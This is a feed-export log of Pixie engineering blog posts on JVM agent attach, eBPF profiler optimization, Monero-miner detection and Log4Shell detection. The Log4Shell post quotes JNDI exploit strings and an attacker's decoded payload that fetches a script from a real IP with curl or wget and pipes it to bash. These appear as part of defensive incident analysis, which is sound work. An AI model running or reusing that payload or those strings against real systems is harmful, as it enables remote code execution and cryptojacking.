is fundamentally unaware of the fact that it is running in a container. So, for example, to start the HotSpot attach protocol, one creates a sentinel file and sends SIGQUIT to the target Java process. The sentinel file is, by convention, named <code>/tmp/.attach_pid<PID></code>. The value for <code><PID></code> needs to be found in the <code>PID</code> namespace of the target container, otherwise, the target process assumes it is for a different JVM.</p><p>After notifying the JVM of the attach request and opening a socket to communicate with the JVM, the JVM process needs to be able to find the <code>.so</code> file that contains your JVMTI agent, i.e. so that it can map in the library using dlopen and then invoke the JVMTI method <code>Agent_OnAttach()</code>. For this, the agent <code>.so</code> file needs to be visible inside of the target container’s mount namespace. The upshot of this is simple: we copy our agent library into the target container before starting the attach protocol<sup id=fnref-3><a href=#fn-3 class=footnote-ref>3</a></sup>.</p><p>Depending on the underlying JVM (HotSpot or OpenJ9) and Java version, the process executing the agent attach protocol may need to assume the UID and GID of the target JVM. For older JVMs running as non-root (a best practice), even a process running as root would have the attach sequence rejected. For OpenJDK/HotSpot v11.0.1 or greater, <a href=https://bugs.openjdk.java.net/browse/JDK-8197387>root is allowed to invoke the attach sequence</a>.</p><p>Knowing all of the above, one might reasonably expect success -- that is, unless the target Java process is running on an Alpine Linux base image which uses <code>musl</code> instead of <code>glibc</code>. To account for the prevalent use of Alpine Linux (and thus <code>musl</code>), the Pixie Java profiler supplies two agent libraries: one built with <code>musl</code> and one with <code>glibc</code>.</p><h2>How we automated agent attach</h2><p>We need to be aware of several facts: the target process is in a peer container, the attach protocol differs by JVM, and the underlying container may have either glibc or musl. After discovering a few of the above issues “the hard way,” we found an excellent open source contribution, namely <a href=https://github.com/apangin/jattach><code>jattach</code></a>, which inherently handles most of thi'... 2732 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Building a Continuous Profiler Part 3: Optimizing for Prod Systems',

6:35:43 AM: date: '2021-08-16',

6:35:43 AM: description: 'This is the third part in a series of posts describing how we built a continuous (always-on) profiler for identifying application…',

6:35:43 AM: url: 'https://blog.px.dev/cpu-profiling-3/',

6:35:43 AM: guid: 'https://blog.px.dev/cpu-profiling-3/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>This is the third part in a series of posts describing how we built a <a href=https://docs.px.dev/tutorials/pixie-101/profiler/>continuous (always-on) profiler</a> for identifying application performance issues in production Kubernetes clusters.</p><p>We were motivated to build a continuous profiler based on our own experience debugging performance issues. Manually profiling an application on a Kubernetes node without recompiling or redeploying the target application is not easy: one has to connect to the node, collect the stack traces with an appropriate system profiler, transfer the data back and post-process the results into a useful visualization, all of which can be quite frustrating when trying to figure out a performance issue. We wanted a system-wide profiler that we could leave running all the time, and which we could instantly query to get CPU <a href=https://www.brendangregg.com/flamegraphs.html>flamegraphs</a> without any hassle.</p><p>In <a href=/cpu-profiling/>Part 1</a> and <a href=/cpu-profiling-2/>Part 2</a>, we discussed the basics of profiling and walked through a simple but fully functional eBPF-based CPU profiler (inspired by the <a href=https://github.com/iovisor/bcc/blob/master/tools/profile.py>BCC profiler</a>) which would allow us to capture stack traces without requiring recompilation or redeployment of profiled applications.</p><p>In this post, we discuss the process of turning the basic profiler into one with only 0.3% CPU overhead, making it suitable for continuous profiling of all applications in production systems.</p><h2>Profiling the profiler</h2><p>To turn the basic profiler implementation from Part 2 into a continuous profiler, it was just a “simple” matter of leaving the eBPF profiler running all the time, such that it continuously collects stack traces into eBPF maps. We then periodically gather the stack traces and store them to generate flamegraphs when needed.</p><p>While this approach works, we had expected our profiler to have <0.1% CPU overhead based on the low cost of gathering stack trace data (measured at ~3500 CPU instructions per stack trace)<sup id=fnref-1><a href=#fn-1 class=footnote-ref>1</a></sup>. The actual overhead of the initial implementation, however, was 1.3% CPU utilization -- over 10x what we had expected. It turned out that the stack trace processing costs, which we had not accounted for, matter quite a lot for continuous profilers.</p><p>Most basic profilers can be described as “single shot” in that they first collect raw stack traces for a period of time, and then process the stack traces after all the data is collected. With “single shot” profilers, the one-time post-processing costs of moving data from the kernel to user space and looking up address symbols are usually ignored. For a continuous profiler, however, these costs are also running continuously and become as important as the other overheads.</p><p>With CPU overhead much higher than anticipated, we used our profiler to identify its own hotspots. By examining the flamegraphs, we realized that two post-processing steps were dominating CPU usage: (1) symbolizing the addresses in the stack trace, and (2) moving data from kernel to user space.</p><div class=image-xl><svg title=A flamegraph of the continuous profiler showing significant time spent in BPF system calls: clear_table_non_atomic(), get_addr_symbol(), bpf_get_first_key(). src=profiler-flamegraph.png></svg></div><h2>Performance optimizations</h2><p>Based on the performance insights above, we implemented three specific optimizations:</p><ol><li>Adding a symbol cache.</li><li>Reducing the number of BPF system calls.</li><li>Using a perf buffer instead of BPF hash map for exporting histogram data.</li></ol><h3>Adding a symbol cache</h3><p>For a stack trace to be human readable, the raw instruction addresses need to be translated into function names or symbols. To symbolize a particular address, ELF debug information from the underlying binary is searched for the address range that includes the instruction address<sup id=fnref-2><a href=#fn-2 class=footnote-ref>2</a></sup>.</p><p>The flamegraph clearly showed that we were spending a lot of time in symbolization, as evidenced by the time spent in <code>ebpf::BPFStackTable::get_addr_symbol()</code>. To reduce this cost, we implemented a symbol cache that is checked before accessing the ELF information.</p><div class=image-l><svg title=Caching the symbols for individual instruction addresses\n' +

6:35:43 AM: 'speeds up the process of symbolization. src=symbol-cache.png></svg></div><p>We chose to cache individual stack trace addresses, rather than entire stack frames. This is effective because while many stack traces diverge at their tip, they often share common ancestry towards their base. For example, main is a common symbol at the base of many stack traces.</p><p>Adding a symbol cache provided a 25% reduction (from 1.27% to 0.95%) in CPU utilization.</p><h3>Reducing the number of BPF system calls</h3><p>From <a href=/cpu-profiling-2/>Part 2</a>, you may recall that our profiler has two main data structures:</p><ol><li>A <code>BPFStackTable</code> records stack traces and assigns them an id.</li><li>A <code>BPFHashTable</code> counts the number of times a particular location in the code (defined by the combination of the user stack trace and kernel stack trace) is sampled.</li></ol><p>To transfer and clear the data in these structures from kernel to user space, the initial profiler implementation used the following BCC APIs:</p><pre><code class=language-cpp>BPFStackTable::get_stack_symbol() // Read & symbolize one stack trace\n' +

6:35:43 AM: 'BPFStackTable::clear_table_non_atomic() // Prepare for next use\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'BPFHashTable::get_table_offline() // Read stack trace histogram\n' +

6:35:43 AM: 'BPFHashTable::clear_table_non_atomic() // Prepare for next use\n' +

6:35:43 AM: '</code></pre><p>Flamegraph analysis of our profiler in production showed a significant amount of time spent in these calls. Examining the call stack above <code>get_table_offline()</code> and <code>clear_table_non_atomic()</code> revealed that each call repeatedly invoked two eBPF system calls to traverse the BPF map: one syscall to find the next entry and another syscall to read or clear it.</p><p>For the <code>BPFStackTable</code>, the <code>clear_table_non_atomic()</code> method is even less efficient because it visits and attempts to clear every possible entry rather than only those that were populated.</p><p>To reduce the duplicated system calls, we edited the BCC API to combine the tasks of reading and clearing the eBPF shared maps into one pass that we refer to as “consuming” the maps.</p><div class=image-xl><svg title=Combining the BCC APIs for accessing and clearing\n' +

6:35:43 AM: 'BPF table data reduces the number of expensive system calls. src=sys-call-reduction.png></svg></div><p>When applied to both data structures, this optimization provided a further 58% reduction (from 0.95% to 0.40%) in CPU utilization. This optimization shows the high cost of making repeated system calls to interact with BPF maps, a lesson we have now taken to heart.</p><h3>Switching from BPF hash map to perf buffer</h3><p>The high costs of accessing the BPF maps repeatedly made us wonder if there was a more efficient way to transfer the stack trace data to user space.</p><p>We realized that by switching the histogram table to a BPF perf buffer (which is essentially a circular buffer), we could avoid the need to clear the stack trace keys from the map <sup id=fnref-3><a href=#fn-3 class=footnote-ref>3</a></sup>. Perf buffers also allow faster data transfer because they use fewer system calls per readout.</p><p>On the flip side, the BPF maps were performing some amount of stack trace aggregation in kernel space. Since perf buffers report every stack trace without aggregation, this would require us to transfer about twice as much data according to our experiments.</p><p>In the end, it turned out the benefit of the perf buffer’s more efficient transfers (~125x that of hash maps) outweighed the greater volume of data (~2x) we needed to transfer. This optimization further reduced the overhead to about 0.3% CPU utilization.</p><div class=image-xl><svg title=Switching a BPF hash map to a BPF perf buffer eliminates the need to clear data\n' +

6:35:43 AM: 'and increases the speed of data transfer. src=perf-buffer.png></svg></div><h3>Conclusion</h3><p>In the process of building a continuous profiler, we learned that the cost of symbolizing and moving stack trace data was far more expensive than the underlying cost of collecting the raw stack trace data.</p><p>Our efforts to optimize these costs led to a 4x reduction (from 1.27% to 0.31%) in CPU overhead -- a level we’re pretty happy with, even if we’re not done optimizing yet.</p><div class=image-l><svg title=Graph of the incremental improvement in CPU utilization for each optimization. src=optimizations.png></svg></div><p>The result of all this work is a low overhead continuous profiler that is always running in the Pixie platform. To see this profiler in action, check out the <a href=https://docs.px.dev/tutorials/pixie-101/profiler/>tutorial</a>!</p><h3>Footnotes</h3><div class=footnotes><hr/><ol><li id=fn-1>Based on the following assumptions: (1) about 3500 CPU instructions executed to collect a stack trace sample, (2) a CPU that processes 1B instructions per se'... 595 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Detecting Monero miners with bpftrace',

6:35:43 AM: date: '2022-02-17',

6:35:43 AM: description: 'Cryptomining is expensive if you have to pay for the equipment and energy. But if you “borrow” those resources, cryptomining switches from…',

6:35:43 AM: url: 'https://blog.px.dev/detect-monero-miners/',

6:35:43 AM: guid: 'https://blog.px.dev/detect-monero-miners/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>Cryptomining is expensive if you have to pay for the equipment and energy. But if you “borrow” those resources, cryptomining switches from marginal returns to entirely profit. This asymmetry is why <a href=https://www.tigera.io/blog/teamtnt-latest-ttps-targeting-kubernetes/>cybercrime groups</a> increasingly focus on\n' +

6:35:43 AM: '<a href=https://www.interpol.int/en/Crimes/Cybercrime/Cryptojacking>cryptojacking</a> – stealing compute time for the purpose of cryptomining – as part of malware deployments.</p><p>Despite a common misconception, <a href=https://bitcoin.org/en/you-need-to-know#:~:text=Bitcoin%20is%20not%20anonymous&amp;text=All%20Bitcoin%20transactions%20are%20stored,transactions%20of%20any%20Bitcoin%20address.&text=This%20is%20one%20reason%20why%20Bitcoin%20addresses%20should%20only%20be%20used%20once.>most cryptocurrencies are not actually anonymous</a>. If these cryptojackers were to mine Bitcoin or Ethereum, their transaction details would be open to the public, making it possible for law enforcement to track them down. Because of this, many cybercriminals opt to mine <a href=https://www.getmonero.org/get-started/what-is-monero/>Monero: a privacy focused cryptocurrency</a> that makes transactions confidential and untraceable.</p><p>In this article we’ll discuss the following:</p><ul><li>Existing methods for detecting cryptojackers</li><li>How to leverage <a href=https://github.com/iovisor/bpftrace>bpftrace</a> to detect Monero miners</li></ul><p><em>Detection scripts and test environment can be <a href=https://github.com/pixie-io/pixie-demos/tree/main/detect-monero-demo>found in this repo</a></em>.</p><h2>Contents</h2><ul><li><a href=#what-happens-during-cryptomining>What happens during cryptomining?</a></li><li><a href=#what-can-we-detect>What signals can we detect?</a></li><li><a href=#detecting-monero-miners>Monero mining signals</a></li><li><a href=#building-our-bpftrace-script>Building our bpftrace script</a><ul><li><a href=#what-is-bpftrace>What is bpftrace?</a></li><li><a href=#test-environment>Test environment</a></li><li><a href=#where-can-we-find-the-data>Where should we trace?</a></li><li><a href=#what-data-do-we-need>What data do we need?</a></li></ul></li></ul><h2>What happens during cryptomining?</h2><p>What happens during cryptomining and why is it important? <a href=https://medium.com/coinmonks/simply-explained-why-is-proof-of-work-required-in-bitcoin-611b143fc3e0>This blog post by Anthony Albertorio</a> provides more detail, but here's what's relevant:</p><p>Miners race to create the next block for the blockchain. The network rewards them with cryptocurrency when they submit a valid block. Each block contains the hash of the previous block (hence the “chain”), the list of transactions, and a Proof of Work (PoW) <sup id=fnref-1><a href=#fn-1 class=footnote-ref>1</a></sup>. A miner wins when it successfully finds a valid Proof of Work for that list of transactions. <a href=https://youtu.be/9V1bipPkCTU?t=183>The Bitcoin Proof of Work</a> is a string that causes the entire block to hash to a bit-string with a “target” number of leading 0s. </p><div class=image-m><svg title=Bitcoin Proof of Work src=btc-pow.png></svg></div><p>Verifying the proof is computationally easy: you hash the block and verify that the bitstring matches the expected target. Finding the proof is difficult: the only way to discover it is by guessing. When a miner finds a proof, they broadcast the solution to the network of other miners, who quickly verify the solution. Once the solution is accepted, each miner updates their local copy of the blockchain and starts work on the next block. </p><h2>What can we detect?</h2><p>Now that we know how cryptomining works, we can evaluate ways to detect cryptojackers. Note that no matter what we propose below, the landscape will shift and new techniques will be necessary. Attackers adapt to defenses and detections as they confront them in the field.</p><h3>Analyzing binaries</h3><p>Many cryptojackers opt to use open-source mining software without modification. Scanning binaries running on the operating system for common mining software names and signatures of mining software is a simple yet effective barrier.</p><p>🟢 <strong>Pros:</strong> simple to implement, large surface area. </p><p>🔴 <strong>Cons:</strong> easy to bypass with obfuscation of code. Can also be hidden from tools like <code>ps</code> or <code>top</code> using <a href=https://github.com/gianlucaborello/libprocesshider>libprocesshider</a>.</p><h3>Block connections to known IPs</h3><p>Many cryptominers choose to <a href=https://www.investopedia.com/tech/how-choose-cryptocurrency-mining-pool/>contribute to a mining pool</a>, which will require some outgoing network connection to a central location. You can make a blocklist of the top 100 cryptomining pools and block a large portion of miners. </p><p>🟢 <strong>Pros:</strong> simple to implement, large surface area</p><p>🔴 <strong>Cons:</strong> easy to bypass with proxies or by searching for allowed pools</p><h3>Model common network patterns of miners</h3><p>Most miners opt for SSL which means reading the body of messages is impossible, but there are still signatures that exist for the network patterns. <a href=https://jis-eurasipjournals.springeropen.com/articles/10.1186/s13635-021-00126-1>Michele Russo et al. collect network data</a> on these traces and trained an ML classifier to discriminate between normal network patterns and cryptominer network patterns.</p><p>Because the miners must receive block updates from the rest of the network as well as updates from mining pools, they must rely on the network. </p><p>🟢 <strong>Pros:</strong> robust to proxies, miners are guaranteed to leave a trace due to dependence on the network. </p><p>🔴 <strong>Cons:</strong> large upfront investment to collect data and train models. Operational investment to update models with new data after discovery of new attacks. Risk of <a href=https://www.sciencedirect.com/science/article/pii/S1389128621001249>steganographic obfuscation</a> or <a href=https://en.wikipedia.org/wiki/Adversarial_machine_learning>adversarial examples</a>.</p><h3>Model hardware usage patterns of miners</h3><p>Similarly, you can collect data from hardware counters and train a model that discriminates between mining and not-mining use of CPU, GPU, etc., as discussed in <a href=https://arxiv.org/abs/1909.00268>Gangwal et al.</a> and <a href=http://caesar.web.engr.illinois.edu/papers/dime-raid17.pdf>Tahir et al.</a> </p><p>🟢 <strong>Pros:</strong> robust to binary obfuscation</p><p>🔴 <strong>Cons:</strong> large upfront investment to collect data and train models. Operational investment to update models with new data after discovery of new attacks. Risk of <a href=https://www.sciencedirect.com/science/article/pii/S1389128621001249>steganographic obfuscation</a> or <a href=https://en.wikipedia.org/wiki/Adversarial_machine_learning>adversarial examples</a>.</p><h2>Detecting Monero miners</h2><p>We mentioned earlier that cryptojackers opt to mine Monero because of <a href=https://www.getmonero.org/resources/about/>the privacy guarantees</a>. It turns out that Monero’s Proof of Work algorithm, <a href=https://github.com/tevador/RandomX>RandomX</a>, actually leaves behind a detectable trace.</p><p>RandomX adds a layer on top of the Bitcoin PoW. Instead of guessing the “proof string” directly, you need to find a “proof program” in the <a href=https://github.com/tevador/RandomX/blob/master/doc/design.md#21-instruction-set>RandomX instruction set</a> that outputs the “proof string” when run in the RandomX VM. Because every correct length bitstring is a valid program, Monero miners randomly generate "proof programs" and evaluate each in the RandomX VM. </p><div class=image-xl><svg title=Monero miner Proof of Work src=xmr-pow.png></svg></div><p><strong>These RandomX programs are easy to spot.</strong> They leverage a large set of CPU features, some of which are rarely used by other programs. The instruction set <a href=https://github.com/tevador/RandomX/blob/master/doc/design.md#23-registers>attempts to hit many features available on</a> commodity CPUs.\n' +

6:35:43 AM: 'This design decision <a href=https://github.com/tevador/RandomX/blob/master/doc/design.md#1-design-considerations>curtails the effectiveness of GPUS and ASICs</a>, forcing miners to use CPUs.</p><p>One RandomX instruction in particular leaves behind a strong signal in the CPU. <a href=https://github.com/tevador/RandomX/blob/master/doc/specs.md#541-cfround>CFROUND</a> changes the rounding mode for floating point operations. Other programs rarely set this mode. When they do, they rarely toggle this value as much as RandomX does. The main RandomX contributor, <a href=https://github.com/tevador>tevador</a>, created <a href=https://github.com/tevador/randomx-sniffer>randomx-sniffer</a> which looks for programs that change the rounding-mode often on Windows machines. Nothing exists for Linux yet - but we can build this with bpftrace.</p><h2>Building our bpftrace script</h2><p>We want to detect traces of RandomX (the CPU-intensive mining function for Monero) running on a cluster. Specifically, we want to find the forensic trace of RandomX changing the <a href=https://developer.arm.com/documentation/dui0475/k/floating-point-'... 10620 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Did I get owned by Log4Shell?',

6:35:43 AM: date: '2021-12-10',

6:35:43 AM: description: 'Earlier today, news broke about a serious 0-day exploit in the popular Java logging library log4j . The exploit – called Log4Shell…',

6:35:43 AM: url: 'https://blog.px.dev/did-i-get-owned-by-log4shell/',

6:35:43 AM: guid: 'https://blog.px.dev/did-i-get-owned-by-log4shell/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><alert severity=error>Are your <a href=https://www.lunasec.io/docs/blog/log4j-zero-day/#who-is-impacted>services impacted</a> by this exploit? If so, start with the <a href=https://www.lunasec.io/docs/blog/log4j-zero-day/#permanent-mitigation>mitigation</a> first.</alert><p>Earlier today, <a href=https://www.lunasec.io/docs/blog/log4j-zero-day/>news</a> broke about a serious 0-day exploit in the popular Java logging library <code>log4j</code>. The exploit – called <code>Log4Shell</code> – allows remote code execution (RCE) by entering certain strings into the log statement. This can be a serious security vulnerability if a server logs the inputs it receives over a public endpoint.</p><p>In this post, we'll show how we used Pixie to quickly check for <code>Log4Shell</code> attacks in our Kubernetes cluster.</p><h2>How Does Log4Shell Work?</h2><p>In a nutshell, the <code>Log4Shell</code> exploit means that if a string containing a substring of the form <code>${jndi:ldap://1.1.1.1/a}</code> is logged, then you may be exposed to a RCE attack. When this string is logged, <code>log4j</code> will make a request to the IP, and get a reference to a class file which will then get loaded into your Java application with JNDI. This means your Java application could then be used to execute arbitrary code of the attacker's choice.</p><p>Our goal is not to go into too much detail on <code>Log4Shell</code>, since others have already done a great job of that. Instead we're going to focus on how Pixie helped us identify whether we were under attack.</p><p>For more details on <code>Log4Shell</code>, you can check out this blog, which does a good job of explaining the exploit and mitigation: <a href=https://www.lunasec.io/docs/blog/log4j-zero-day>https://www.lunasec.io/docs/blog/log4j-zero-day</a>.</p><h2>Are we being attacked?</h2><p>We don't deploy Java services at Pixie so we were confident that this wasn't an issue for us. But the team was still curious about whether anyone was trying to attack us. Within minutes, a member of our team, James, put out this <a href=https://docs.px.dev/tutorials/pxl-scripts/>PxL script</a> which checks for instances of the <code>Log4Shell</code> exploit:</p><pre><code class=language-python>import px\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '# Get all HTTP requests automatically traced by Pixie.\n' +

6:35:43 AM: 'df = px.DataFrame('http_events')\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '# Get the pod the HTTP request was made to.\n' +

6:35:43 AM: 'df.pod = df.ctx['pod']\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '# Check HTTP requests for the exploit signature.\n' +

6:35:43 AM: 're = '.*\\$.*{.*j.*n.*d.*i.*:.*'\n' +

6:35:43 AM: 'df.contains_log4j_exploit = px.regex_match(re, df.req_headers) or px.regex_match(re, df.req_body)\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '# Filter on requests that are attacking us with the exploit.\n' +

6:35:43 AM: 'df = df[df.contains_log4j_exploit]\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'df = df[['time_', 'remote_addr', 'remote_port', 'req_headers', 'req_method', 'req_path', 'pod']]\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'px.display(df)\n' +

6:35:43 AM: '</code></pre><p><a href=https://www.lunasec.io/docs/blog/log4j-zero-day/#example-vulnerable-code>log4j only needs to log a string like</a> <code>${jndi:ldap://127.0.0.1/a}</code> to request and eventually execute a returned payload. <a href=https://docs.px.dev/about-pixie/data-sources/>Pixie traces all the HTTP requests</a> in your Kubernetes cluster, and stores them for future querying. So in our script, we simply search over the <code>http_events</code> table for requests that contain the attack signature - the <code>jndi</code> string. <sup id=fnref-1><a href=#fn-1 class=footnote-ref>1</a></sup></p><p>Running the script on our cluster, we immediately noticed some <code>Log4Shell</code> traffic:</p><svg title=Pixie automatically traces all HTTP traffic flowing through your K8s cluster. Checking the HTTP request headers for the exploit signature exposes numerous attack requests on our staging cluster. src=jndi-http-logs.png></svg><svg title=The contents of one of the HTTP attack requests. Note the 'jndi' exploit signature with originating IP address. src=jndi-referrer-details.png></svg><p>The exploit requests were hitting our public cloud-proxy service, where the User-Agent included the exploit string. In this case, the attacker hopes that we use log4j to log the User-Agent value. We investigated the originating IP address, <code>45.155.205.233</code> and discovered that it was based in Russia.</p><p>Another team member, Vihang, then figured out that the payload of the exploit string is the following:</p><pre><code class=language-bash>$ base64 -d <<< "KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zNC4xMDIuMTM2LjU4OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8zNC4xMDIuMTM2LjU4OjQ0Myl8YmFzaA=="\n' +

6:35:43 AM: '(curl -s 45.155.205.233:5874/34.102.136.58:443||wget -q -O- 45.155.205.233:5874/34.102.136.58:443)|bash%\n' +

6:35:43 AM: '</code></pre><p>The situation around the <code>Log4Shell</code> exploit is still evolving, but <a href=https://twitter.com/GossiTheDog/status/1469322120840708100>tweets</a> indicate that this payload contains a Bitcoin miner.</p><h2>Are we leaking?</h2><p>Now we know that some attacker tried to scan us with the <code>Log4Shell</code> exploit. Our next question was whether the attacker succeeded. Again, Pixie doesn’t rely on Java services, but we did want to know how a Java user could detect a successful attack.</p><p>A successful exploit requires the attacker to “phone home” with sensitive information, so we need to check if any connections were made back to the <code>45.155.205.233</code> IP that we found in the attack.</p><p>We can use Pixie’s existing <code>px/outbound_conns</code> script to check for this. This script shows a list of connections from our pods made to endpoints outside the k8s cluster. This script has an optional IP filter field that we populate to see if any connections (regardless of protocol) are made to that IP.</p><p>In this case, when we run the script, we see that we have no such connections, as expected:</p><svg title=Using the `px/outbound_conns` script to check for all outbound connections from our pods, filtered by the IP address of the attacker shows that no connections were returned to the attacking IP. src=outboundconns.png></svg><p>While we caught no such instances, for a user who was using Java, any outbound connections to the attacker would be recorded.</p><h2>Check if your cluster is being attacked</h2><alert severity=warning>Detecting these exploits is a moving target and as such the lack of any results from these scripts doesn't guarantee that your cluster isn't being attacked some other way. Whether or not you see any results from this script, we strongly recommend following all mitigation steps ASAP.</alert><p>When a 0-day exploit is published, there’s a rush by attackers to take advantage. At the same time, developers of cloud services are scrambling to see if they are exposed and to patch any vulnerabilities.</p><p>To quickly check if your cluster is being attacked, you can:</p><ol><li><a href=https://docs.px.dev/installing-pixie/install-guides/>Install Pixie</a> on your Kubernetes cluster.</li><li>Save the following script as <code>log4shell.pxl</code>. <sup id=fnref-2><a href=#fn-2 class=footnote-ref>2</a></sup></li></ol><pre><code class=language-python>import px\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '# Get all HTTP requests automatically traced by Pixie.\n' +

6:35:43 AM: 'df = px.DataFrame('http_events')\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '# Get the pod the HTTP request was made to.\n' +

6:35:43 AM: 'df.pod = df.ctx['pod']\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '# Check HTTP requests for the exploit signature.\n' +

6:35:43 AM: 're = '.*\\$.*{.*j.*n.*d.*i.*:.*'\n' +

6:35:43 AM: 'df.contains_log4j_exploit = px.regex_match(re, df.req_headers) or px.regex_match(re, df.req_body)\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '# Filter on requests that are attacking us with the exploit.\n' +

6:35:43 AM: 'df = df[df.contains_log4j_exploit]\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'df = df[['time_', 'remote_addr', 'remote_port', 'req_headers', 'req_method', 'req_path', 'pod']]\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'px.display(df)\n' +

6:35:43 AM: '</code></pre><ol start=3><li>Run the custom PxL script using Pixie’s <a href=https://docs.px.dev/using-pixie/using-cli/#use-the-live-cli>Live CLI</a>, using the -f flag to provide the script’s filename:</li></ol><pre><code class=language-bash>px live -f <path to script>/log4shell.pxl\n' +

6:35:43 AM: '</code></pre><p>If you discover that you are being attacked, you can read about mitigation steps <a href=https://www.lunasec.io/docs/blog/log4j-zero-day>here</a>.</p><p>Questions? Find us on <a href=https://slackin.px.dev/>Slack</a> or Twitter at <a href=https://twitter.com/pixie_run>@pixie_run</a>.</p><div class=footnotes><hr/><ol><li id=fn-1>Unfortunately detecting exploit attempts are a moving target: <a href=https://twitter.com/sans_isc/status/1469653801581875208>scanners are trying new means of obfuscating the exploit</a>.<a href=#fnref-1 class=footnote-backref>↩</a></li><li id=fn-2>This script looks for the literal <code>jndi</code> in the request headers and body. This won't necessarily match obfuscated attacks and you probably want to tweak the script to match more patterns as need be.<a href=#fnref-2 class=footnote-backref>↩</a></li></ol></div>'

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: I shouldn't be seeing this: anonymize sensitive data while debugging using NLP,

6:35:43 AM: date: '2022-11-04',

6:35:43 AM: description: It's 10 pm and you're on-call. A few minutes ago, you received a slack message about performance issues affecting users of your application…,

6:35:43 AM: url: 'https://blog.px.dev/detect-pii/',

6:35:43 AM: guid: 'https://blog.px.dev/detect-pii/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><div class=image-xl><figure>\n' +
' <figure class=gatsby-resp-image-figure>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-wrapper style=position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1035px>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-background-image style=padding-bottom:32.04633204633204%;position:relative;bottom:0;left:0;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABQUlEQVQY0zWRT0/cMBDF8/0/QKUeWolLzy29coCKCxKwouIAgl0ttTchbMiyif/Fdvyr7GWf9GRpRvPezHPVdR3b7ZZxHInzTAiBaZpKLXOaHBBIKTATCMETY6Tve9q2xVpLTIkQI957quA9xlqsVng1EqwlwznHfr/jtR44O5Vc/Rbc/1qhWkvMFiFgjMFm7nZ4rctcpbVmuVoh12tGKRg2Eq8Uxjqk+Mdj0/D15oEvl9d8v1rw7faGi7ouVyyXSzZC8PGypn9+wo3jQXDzKWTeO+yuJ/qpnPL23nL9dMrZ4oRL8Yfzl3MWr3cEKP2NlKimxnbbMj9pTaWNKS4656UUaZ7L6koppJTUf3/SLn5AOtRJhycLCiHomgY1DBxROTdhtSY6V3I4CuYMh2FgPxqMiwetlAoz8gdk08yc5bH/H8Yyxvpt1eRGAAAAAElFTkSuQmCC');background-size:cover;display:block></span>\n' +

